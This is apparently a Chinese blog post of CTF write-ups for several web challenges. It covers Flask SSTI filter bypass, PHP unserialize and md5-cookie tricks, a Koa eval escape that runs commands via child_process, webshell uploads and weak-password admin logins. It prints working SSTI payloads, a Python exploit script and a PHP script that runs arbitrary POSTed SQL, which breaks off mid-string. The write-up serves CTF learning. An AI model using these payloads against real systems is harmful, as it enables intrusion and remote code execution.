华为杯 × 签到杯

论比赛过程来说没什么很大收获 但看师傅们的wp感触很多 赛后复现慢慢学吧

Web

babyflask

flask ssti模板注入: payload{{key}}发现[]以及类似os,__import__等敏感关键词都被过滤。

  1. __getitem__(2)来表示[number],__getattribute__('__a'+'bc__')来表示[__abc__]

  2. 最终payload{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__getattribute__('fun'+'c_globals').linecache.__getattribute__('o'+'s').popen('ls').read()}}

    回显目录文件,找到flag后把ls替换为cat ../flag即可获得flag

如果猜到flag文件在根目录下 直接payload{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read()}}即可

doge

F12查看源码 复制所有的aaencode,删除最后一个 (‘_’);再在控制台粘贴输出,得到源码,

控制台输出

$.ajax({
            url: '\u0063\u0068\u0065\u0063\u006b\u002e\u0070\u0068\u0070',
            type: '\u0050\u004f\u0053\u0054',
            data: '\u006e\u0075\u006d\u003d' + 1009,
    //1009为任意符合要求的素数均可
            success: function (data) {
                alert(data);}})

获得base64加密flag,解码即可。

然而我朋友说他一进去摇奖就得到了flag..好像概率的确也不小。

WellCMS

进入环境,是一个配置比较齐全的题,首先看到登陆的地方,抓包看一看。

对密码进行了md5加密,burp suite爆破有md5加密的处理,试一试。

成功了,解密出来密码是admin123。

然后好像这种类博客管理的题,存在漏洞的地方大多都是在文件上传处。

在内容管理的地方,可以增加内容,有一个添加附件,抓包发现把内容base64加密,但没有拦截..

然后上传成功了..问题是并不知道这个文件传到哪了,无法建立连接。

发现在发表内容的时候,可以选择封面图,抓包文件内容也是base64加密,把filetype改为php,内容改为一句话木马试试。

居然直接成功了,还回显了文件位置,访问拿到flag。

呜呜呜感觉这题难度应该放在easy吧,大多数可能都是和我一样题都没点开的..

Hodor

根据提示,get [‘source’],得到源码。

<?php

Class Source {
    public function __toString() {
        return highlight_file('license.txt', true).highlight_file($this->source, true);
    }
}

function easy_check($str) {
    //echo $str;
    if (preg_match("/flag/i", $str, $matches)) {
        return false;
    }
    return true;
}

if(isset($_GET['source'])){
    $s = new Source();
    $s->source = __FILE__;

    echo $s;
    exit;
}

$todos = [];

if(isset($_COOKIE['todos'])){
    if(!easy_check($_COOKIE['todos'])) {
        echo "Hacker!\n";
    } else {
        $c = $_COOKIE['todos'];
        $h = substr($c, 0, 32);
        $m = substr($c, 32);
        if(md5($m) === $h){
            $todos = unserialize($m);
        }
    }
}

if(isset($_POST['text'])){
    $todo = $_POST['text'];

    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);

    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
// flag is in flag.php
?>
<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?> 

代码审计

  • 在_toString中,有highlight_file($this->source, true);看来得生成一个Source类的实例,并且这个实例的source=flag.php,并且有把其当作字符串的地方。
  • 最后一个位置<?=$todo?>其实为<?php echo $todo?>的一种简写形式,并且上面的foreach是对数组用的,那么初步找到这个实例就是todo,并且发现前面也有反序列化函数。
<?php
    class Source
{
    public $source;
}
    $a= new Source();
    $a->source='flag.php';
    $ser=serialize(($a));
    echo $ser;//O:6:"Source":1:{s:6:"source";s:8:"flag.php";}
?>
  • 继续往上看,发现要想触发unserialize(),得满足两个要求,一个是对flag的检测,可用大S+/66lag绕过,第二个是一个md5加密,也好说。
<?php
    $ser='a:1:{i:0;O:6:"Source":1:{s:6:"source";S:8:"\66lag.php";}}';//数据类型S大写
	$a=substr(md5($ser),0,32);
    $b=$a.urlencode($ser);
	echo $b;
?>

得到最后post text的值:df80635527eb9189c1197254ad3c46bca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Source%22%3A1%3A%7Bs%3A6%3A%22source%22%3BS%3A8%3A%22%5C66lag.php%22%3B%7D%7D

koa<

对js还不是很了解,慢慢学..

源码:

const Koa = require('koa');
const Router = require('koa-router');
const Parser = require('koa-bodyparser');
const fs = require('fs');

let app = new Koa();
let router = new Router();

app.use(Parser());

router.get('/', async ctx => {
    ctx.response.body = `<html><a href="/src">Source Code</a></html>`;
});

let btoa = s => new Buffer(s + '').toString(encoding='base64');
let atob = s => new Buffer(s + '', encoding='base64').toString();
const src = btoa(fs.readFileSync('app.js'));

router.get('/src', async ctx => {
    ctx.response.body = src;
});

let filter = expr => {
    let blacklist = ['(', ')', '.', '&', '#', '\\', '"', '`', ' '];
    for (const ele of expr) {
        if (blacklist.includes(ele))
            return false;
    }
    return true;
}

router.post('/expr', async ctx => {
    let expr = ctx.request.body.expr || '8 ^ 1';
    if (!filter(expr)) {
        ctx.response.body = '?';
        return;
    }
    ctx.response.body = eval(expr);
})

app.use(router.routes());
app.listen(9999);

exp:

import requests
url="http://219.219.61.234:30000/expr"
res1=requests.post(url,data={"expr":"filter=e=>{return/**/true}"})
#print(res1.text)
res2=requests.post(url,data=
{"expr":'global.process.mainModule.constructor._load("child_process").execSync(" ../readflag").toString()'})
print(res2.text)

VulnCMS

一个全是漏洞的网站:

在这种模拟真实环境的题目下,一定要注意路径的变化。

在登陆界面,看到在路径里看到member,想到admin,弱口令admin admin 登陆成功。

不亏是有很多漏洞的环境,拿到管理员权限后,就有好几种方法造成文件上传漏洞了。

  1. 作为管理员,在上传设置处可以直接修改文件后缀名白名单,加上php后就可以用其他用户上传php(但是不知道传在哪),再用管理员账号登陆管理文件就可以看到位置了。
  2. 利用命令注入,在根目录写入shell。

之后蚁剑连接。

找了半天flag影子都没见着,但在根目录发现一个mysql.php(后来才知道这是前面做出来的学长写的..),然后连接在数据库里把flag找到了.

学长的意思应该是要根据config文件夹下的database.php自己写连接数据库的exp。

<?php
$servername = "mysql";
$username = "root";
$password = "root";
$dbname = "yxjcms";
# kg_yyds(dddd)
$conn = mysqli_connect($servername, $username, $password,$dbname);
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
else{
    echo("✔");
}
$sql = $_POST['sql'];
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    // 输出数据
    while($row = $result->fetch_assoc()) {
        var_dump($row);
        echo("
版权声明:本文为yuuuuu422原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/yuuuuu422/p/13905637.html